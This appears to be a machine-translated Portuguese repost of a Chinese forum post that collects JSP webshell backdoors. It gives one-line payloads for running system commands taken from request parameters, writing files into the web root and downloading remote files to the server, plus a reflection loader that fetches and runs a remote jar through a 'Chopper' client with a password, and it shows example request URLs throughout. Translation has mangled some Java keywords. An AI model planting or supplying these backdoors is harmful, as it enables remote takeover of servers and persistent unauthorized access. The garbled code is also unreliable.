|
|
Publicado em 02/01/2015 18:46:57
|
|
|
|

Transferido de: http://p2j.cn/?p=1627 1. Executar comandos do sistema: Executar comandos do sistema sem eco: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Pedido: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Não haverá eco após a execução, o que é muito conveniente para os bounce shells. Há ecos com a verificação de senha: <% if("023".equals(request.getParameter("pwd")){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter"i")).getInputStream(); int a = -1; byte[] b = novo byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Pedido: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Codifice a string e escreva no arquivo especificado: 1: <%new java.io.FileOutputStream(request.getParameter("f").write(request.getParameter("c").getBytes());%> Pedido: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Escreva no diretório web: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%> Pedido: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Pedido: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Escreva no diretório web: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Pedido: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Baixar o arquivo remoto (se você não usar utilitários do Apache IO, não pode converter o fluxo de entrada em byte, então é muito longo...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = novo byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; enquanto ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Pedido: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Baixe para o caminho web: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = novo byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; enquanto ((a = in.read(b)) != -1) { baos.write(b, 0, a); } novo java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Pedido: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Quatro: Reflexão chama o pote externo, aperfeiçoe a porta dos fundos Se você não gosta da função backdoor acima que está fraca e ultrapassada, pode tentar esta: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))}).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Pedido: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Conexão com faca de cozinha: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, senha 023.
Solução: Use a reflexão para carregar um jar externo na aplicação atual, e a reflexão executa o resultado do processamento de saída. request.getParameterMap() contém todos os parâmetros solicitados. Como o pacote jar externo está carregado, o servidor deve conseguir acessar esse endereço jar. |
Anterior:A crise por trás do arquivo de texto TXTPróximo:Criptografia Java MD5, criptografia Base64 e descriptografia Java executa código-fonte de comando do sistema
|